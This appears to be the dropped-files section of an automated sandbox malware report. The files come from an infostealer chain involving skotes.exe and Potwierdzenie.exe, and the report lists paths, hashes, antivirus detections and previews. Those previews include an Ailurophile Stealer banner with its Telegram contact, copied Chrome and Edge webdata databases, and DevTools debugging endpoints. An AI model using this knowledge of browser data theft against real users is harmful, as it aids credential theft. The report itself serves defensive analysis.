Download File

Process:	C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.332226354824286
Encrypted:	false
SSDEEP:	3:FJQ/Ji40JSQMJs3rbEKcJW5KeBF3R3AV:ziJi4wEJObEKcY5JFh3AV
MD5:	6617FAF8F3D5A4BAB9ED7E6D6D81E9AC
SHA1:	47C5D229C3D06A26D685B7C3357C9AA1951ED676
SHA-256:	3D87146BA69810E07CAD4BD64C1731D41A2359E5D97E47115CA467784FCFC7EB
SHA-512:	452F926F36BE843D2B76CDD7079B058986620419BB093B563AB17435B95B05D865B6903124723B2C9A60A04114EDE43CA6DEB2694AB7CCBCE4BF831B590855FE
Malicious:	false
Reputation:	unknown
Preview:	Ailurophile Stealer - Telegram: @Ailurophilevn..No autofills found for Google Default.

C:\Users\user\AppData\Local\Ailurophile\info.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	253
Entropy (8bit):	5.138365870292464
Encrypted:	false
SSDEEP:	6:ziJi4hzWf0JiIuJ1VgWcXdLdj1h42LQOrHAWMrruNwkn23ffBc4E:OJ11Y0JivJ1Vg5dLdxa2ZrHAWMpfHS4E
MD5:	3567810D00A95D7DA691721532267E90
SHA1:	5316D28E38E8CE1E94065F9FC36151BEC32E913B
SHA-256:	D4DD8073C0EDC9A33733D8044E560C6DD6903FB3F632A3DACFD8B3EEDD4FA987
SHA-512:	9EF4716BCBF159C23B68FEE5AABEC6EDD90348275FCD4F35A41B5185633AFEF4103FF4E8D9203AC1A2749567A40D17CF3FB6392265CBFB394EBC1C2E706A7E4C
Malicious:	false
Reputation:	unknown
Preview:	Ailurophile Stealer - https://ailurophilestealer.com - Telegram: @Ailurophilevn..IP: .Hostname: 226533.PC Type: Caption Microsoft Windows 10 Pro Version 10.0.19045.Architecture: i586.File Path: C:\Users\user\AppData\Local\Temp\1007251001\Data

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\webdata.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	true
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\7cda1b2e6f.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\webdata.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Potwierdzenie[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	37624498
Entropy (8bit):	7.937659643433334
Encrypted:	false
SSDEEP:	786432:npmGxqs8IFPB/4vQiZYgVcNioTjAHaUUfC+TDNED:n8bGJQvCgVxcj4zaC+TZe
MD5:	BB1C7286C327EAFC7CF6A21492CDFA0F
SHA1:	953BBD989BDDC742A0C3DE4F4320D0B39E558AA5
SHA-256:	8AC63CD639F78B172EFC3C4CFECBE7DAE3CD7F3DC245D31476187B0517C1BABD
SHA-512:	A4F0AEAF9327E63F00DC33EBF3FDD60D35C20EE5F3D3124FC994367CA25913784E1A9A063C7722AE38EF3C3B52C53C90D55DA1DD9252C5DA96A86C78FD97FCCA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...}S.f..................<..v........<.......<...@...........................O.....d.L..........@....................@.s....p@.......B.......................................................@.....................hs@.......@......................text.....<.......<.................`....itext..@.....<.......<............. ..`.data....s....<..t....<.............@....bss.........p?......<?..................idata.......p@......<?.............@....didata.......@......P?.............@....edata..s.....@......T?.............@..@.tls.... .....@......V?..................rdata..].....@......V?.............@..@.reloc........@......X?.............@..B.rsrc...<!....B.."...X?.............@..@........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.383273216092966
Encrypted:	false
SSDEEP:	48:SfNaoQJTEQvfNaoQ9cscNQ93fNaoQRQ6FfNaoQPkj0UrU0U8QPg:6NnQJTEQHNnQEQ1NnQRQ6xNnQw0UrU03
MD5:	C4240CAD16CCE3E6002A2A65F27DAAD4
SHA1:	8B61766C5D5D9A20705401C0249F8A74614706BD
SHA-256:	E0DB5DFA26EEC06575362E21E9810493C7C032545190E2648AD93E19C51B0BDF
SHA-512:	947B277A2453F23F722FF5943E8DA9EEF25C648BCE8D202C070935E897CC83D541E42003ECD7CD8BAAD9395D86D54C42EBDF35DF626019B206D828EF92522CC7
Malicious:	false
Reputation:	unknown
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/DAA667C7D44BD102260EF0A29D4D640E",.. "id": "DAA667C7D44BD102260EF0A29D4D640E",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/DAA667C7D44BD102260EF0A29D4D640E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/351424B6DFACE1791B89E7F8900C060C",.. "id": "351424B6DFACE1791B89E7F8900C060C",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/351424B6DFACE1791B89E7F8900C060C"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2758144
Entropy (8bit):	6.511747339321401
Encrypted:	false
SSDEEP:	24576:XWMeAeqR26S69Jn4AqshWLVfr19uQy46wLd4BWBVAlFdAa+bnRlTq1wJuhYfTlsH:GMeAv06S6Ascpr2ORyh6hd9bU7N
MD5:	B5C6CCFB197B8467AD678281DF44E8BC
SHA1:	DA40E9A1D28B223A181C86D1977F1785043AE0E9
SHA-256:	71E962274C58CA8FEDA44334FC1A22DC42E7ACC9C638BD4D15608A1A838A627C
SHA-512:	7E3E01FA95B451199735FE130E8AF89A9303A6192C35D493F0078D751794D70038F9798E3C7D659DB4401AC8047842FF275F76D85B71C06B0F57C67153A8335A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ..............................f...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...xzifghis..).......)..:..............@...jqrynsft. ...`.......).............@....taggant.@....*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1834496
Entropy (8bit):	7.944763464342384
Encrypted:	false
SSDEEP:	49152:ZubnkRA6mQV2g89P792w7KEjt5NWD/obJN:ZuLkG6NV2T7VvNIQbn
MD5:	1D1CA9438CB800E982544370F38762F8
SHA1:	12C7EA625D7AF01FEA395529F894A821229AEADE
SHA-256:	F6B9748417A17234C49842DD3327F0C2BDD840448A2D92E5246FA5C87DD41162
SHA-512:	438651A8F81AFF38AD77EBB44519F8907BE1196A1CE26624A2B672563485996E26A21F3448B11C3FE9B9946C8EDA3D92D8618DF3ECD7E1EF790C310964C75BDD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................".......0j...........@..........................`j......R....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..+...$......v..............@...bovqhner.`....O..^...x..............@...fuiaraiv..... j.....................@....taggant.0...0j.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.593012391517026
Encrypted:	false
SSDEEP:	12288:KqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDganT0:KqDEvCTbMWu7rQYlBQcBiT6rprG8aT0
MD5:	561515000D33C399C105AB2A75CA70DF
SHA1:	15F07E894A56F77B0D3F98BDAA1F336DFE2250DC
SHA-256:	ABD8AF4412BA0CB78E7F3B4D2A0CDE76FAA5BA1470AD4D1F528823AB7667D91C
SHA-512:	2D8F33BAA9426266C40B1CA432E9527A6E2F92DCF9EF168AF8BAD507102A9E030CA6BB924423E5D28B9EA6242B30F5F8D0F13A750D8EF0147FBB84CF3B48B014
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....;g.........."..........d......w.............@..........................p............@...@.......@.....................d...\|....@..........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc.......@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1873408
Entropy (8bit):	7.948706740344655
Encrypted:	false
SSDEEP:	49152:TTlADWKzVj+S0ZqhAKeg+xd5l2PD3CBQB5P0DRhm9:TJADWKIR2DF+xdL2EmwR6
MD5:	2FE3E392BFB10C6FAFD7B69F59323458
SHA1:	9A78FF2E1E733F35D114112716A8CAC52A4CDDF8
SHA-256:	8D5D59B20824A1A5CB6ECA148CE4F0ED801117CF6F79A53FB827CA3E0D8506C7
SHA-512:	E5D7258909ACD86BC4CC815EC173A4F0E1BAB8A31656DBAAFDF3B55F08D8F3B28D2FF231F856C0B21C6DDF83330D5315290A4D6AE9034FD7C1A85D873441B98C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g.............................`J...........@...........................J......u....@.................................\p..p............................q...................................................................................... . .P.......^..................@....rsrc .....`.......n..............@....idata .....p.......n..............@... ..*..........p..............@...iqfuznvg.....P0......r..............@...wyslmexk.....PJ......n..............@....taggant.0...`J.."...t..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4380160
Entropy (8bit):	7.985603194852577
Encrypted:	false
SSDEEP:	98304:T2Slms1dJkjDSe1A4mq15B+gMriRo5cnwcRp1fzRlH0u0OjSs2QG:Tvms1g3MGETX5EwozRp7
MD5:	F1B25767284AA3DBB2EE4B14CF43AF3F
SHA1:	44880C3FC6DCACE137118790A40D1A1A449D8FBC
SHA-256:	738978C433EDB4C822B92CD4C9C07C760174F5AC6826C90DD1A80C26E5F431B6
SHA-512:	F4973CAA1C10835A483DDF41FB9B6367D2CA74EA90DE9156F340EC54F72529726E55BCEFC51552542698D320A85CF515C8A6EE7774A186752AB07F1736803A4B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....9g...............(..H...g..2...p........H...@.................................#.C...@... ............................._pe.s............................_..............................._...................................................... . .Pe......l'.................@....rsrc .....`e......\|'.............@....idata .....pe......\|'.............@... ..7...e......~'.............@...mcbbabgn.0...0...0....'.............@...nvcadkig.....`........B.............@....taggant.0...p..."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1232
Entropy (8bit):	5.3546673223570584
Encrypted:	false
SSDEEP:	24:3Ll1SKco4KmBs4RPT6BmFoUebIKomjKceZZ9t7J0gt/NKG5xr8Vu:bl1SU4y4RQmFoUeWmfgZ9tK8Nlbn
MD5:	4D9CB7961CF1A5F0EB6E0000AD78E958
SHA1:	3C6B98E2567B720CC52E54F3B92BCF1B5B81B8DF
SHA-256:	EFDA63D242C18DE4F30C25B7180779759725D081A47E8D175E7494518CEA99D2
SHA-512:	B34DABA1D769874AB6630C801F81033E8E71ED1EF533BD8FF5D0509D0D47F83F086BAB3A5B08C82623FE1E69FA07F9F087E251EEB2F1D23AC032DDF1481E8E84
Malicious:	false
Reputation:	unknown
Preview:	@...e................................................@..........8...................=.@G..?...o.........System.Security.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...D.......

C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	37624498
Entropy (8bit):	7.937659643433334
Encrypted:	false
SSDEEP:	786432:npmGxqs8IFPB/4vQiZYgVcNioTjAHaUUfC+TDNED:n8bGJQvCgVxcj4zaC+TZe
MD5:	BB1C7286C327EAFC7CF6A21492CDFA0F
SHA1:	953BBD989BDDC742A0C3DE4F4320D0B39E558AA5
SHA-256:	8AC63CD639F78B172EFC3C4CFECBE7DAE3CD7F3DC245D31476187B0517C1BABD
SHA-512:	A4F0AEAF9327E63F00DC33EBF3FDD60D35C20EE5F3D3124FC994367CA25913784E1A9A063C7722AE38EF3C3B52C53C90D55DA1DD9252C5DA96A86C78FD97FCCA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...}S.f..................<..v........<.......<...@...........................O.....d.L..........@....................@.s....p@.......B.......................................................@.....................hs@.......@......................text.....<.......<.................`....itext..@.....<.......<............. ..`.data....s....<..t....<.............@....bss.........p?......<?..................idata.......p@......<?.............@....didata.......@......P?.............@....edata..s.....@......T?.............@..@.tls.... .....@......V?..................rdata..].....@......V?.............@..@.reloc........@......X?.............@..B.rsrc...<!....B.."...X?.............@..@........................................................

C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1873408
Entropy (8bit):	7.948706740344655
Encrypted:	false
SSDEEP:	49152:TTlADWKzVj+S0ZqhAKeg+xd5l2PD3CBQB5P0DRhm9:TJADWKIR2DF+xdL2EmwR6
MD5:	2FE3E392BFB10C6FAFD7B69F59323458
SHA1:	9A78FF2E1E733F35D114112716A8CAC52A4CDDF8
SHA-256:	8D5D59B20824A1A5CB6ECA148CE4F0ED801117CF6F79A53FB827CA3E0D8506C7
SHA-512:	E5D7258909ACD86BC4CC815EC173A4F0E1BAB8A31656DBAAFDF3B55F08D8F3B28D2FF231F856C0B21C6DDF83330D5315290A4D6AE9034FD7C1A85D873441B98C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 26%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g.............................`J...........@...........................J......u....@.................................\p..p............................q...................................................................................... . .P.......^..................@....rsrc .....`.......n..............@....idata .....p.......n..............@... ..*..........p..............@...iqfuznvg.....P0......r..............@...wyslmexk.....PJ......n..............@....taggant.0...`J.."...t..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1834496
Entropy (8bit):	7.944763464342384
Encrypted:	false
SSDEEP:	49152:ZubnkRA6mQV2g89P792w7KEjt5NWD/obJN:ZuLkG6NV2T7VvNIQbn
MD5:	1D1CA9438CB800E982544370F38762F8
SHA1:	12C7EA625D7AF01FEA395529F894A821229AEADE
SHA-256:	F6B9748417A17234C49842DD3327F0C2BDD840448A2D92E5246FA5C87DD41162
SHA-512:	438651A8F81AFF38AD77EBB44519F8907BE1196A1CE26624A2B672563485996E26A21F3448B11C3FE9B9946C8EDA3D92D8618DF3ECD7E1EF790C310964C75BDD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................".......0j...........@..........................`j......R....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..+...$......v..............@...bovqhner.`....O..^...x..............@...fuiaraiv..... j.....................@....taggant.0...0j.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.593012391517026
Encrypted:	false
SSDEEP:	12288:KqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDganT0:KqDEvCTbMWu7rQYlBQcBiT6rprG8aT0
MD5:	561515000D33C399C105AB2A75CA70DF
SHA1:	15F07E894A56F77B0D3F98BDAA1F336DFE2250DC
SHA-256:	ABD8AF4412BA0CB78E7F3B4D2A0CDE76FAA5BA1470AD4D1F528823AB7667D91C
SHA-512:	2D8F33BAA9426266C40B1CA432E9527A6E2F92DCF9EF168AF8BAD507102A9E030CA6BB924423E5D28B9EA6242B30F5F8D0F13A750D8EF0147FBB84CF3B48B014
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....;g.........."..........d......w.............@..........................p............@...@.......@.....................d...\|....@..........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc.......@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2758144
Entropy (8bit):	6.511747339321401
Encrypted:	false
SSDEEP:	24576:XWMeAeqR26S69Jn4AqshWLVfr19uQy46wLd4BWBVAlFdAa+bnRlTq1wJuhYfTlsH:GMeAv06S6Ascpr2ORyh6hd9bU7N
MD5:	B5C6CCFB197B8467AD678281DF44E8BC
SHA1:	DA40E9A1D28B223A181C86D1977F1785043AE0E9
SHA-256:	71E962274C58CA8FEDA44334FC1A22DC42E7ACC9C638BD4D15608A1A838A627C
SHA-512:	7E3E01FA95B451199735FE130E8AF89A9303A6192C35D493F0078D751794D70038F9798E3C7D659DB4401AC8047842FF275F76D85B71C06B0F57C67153A8335A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
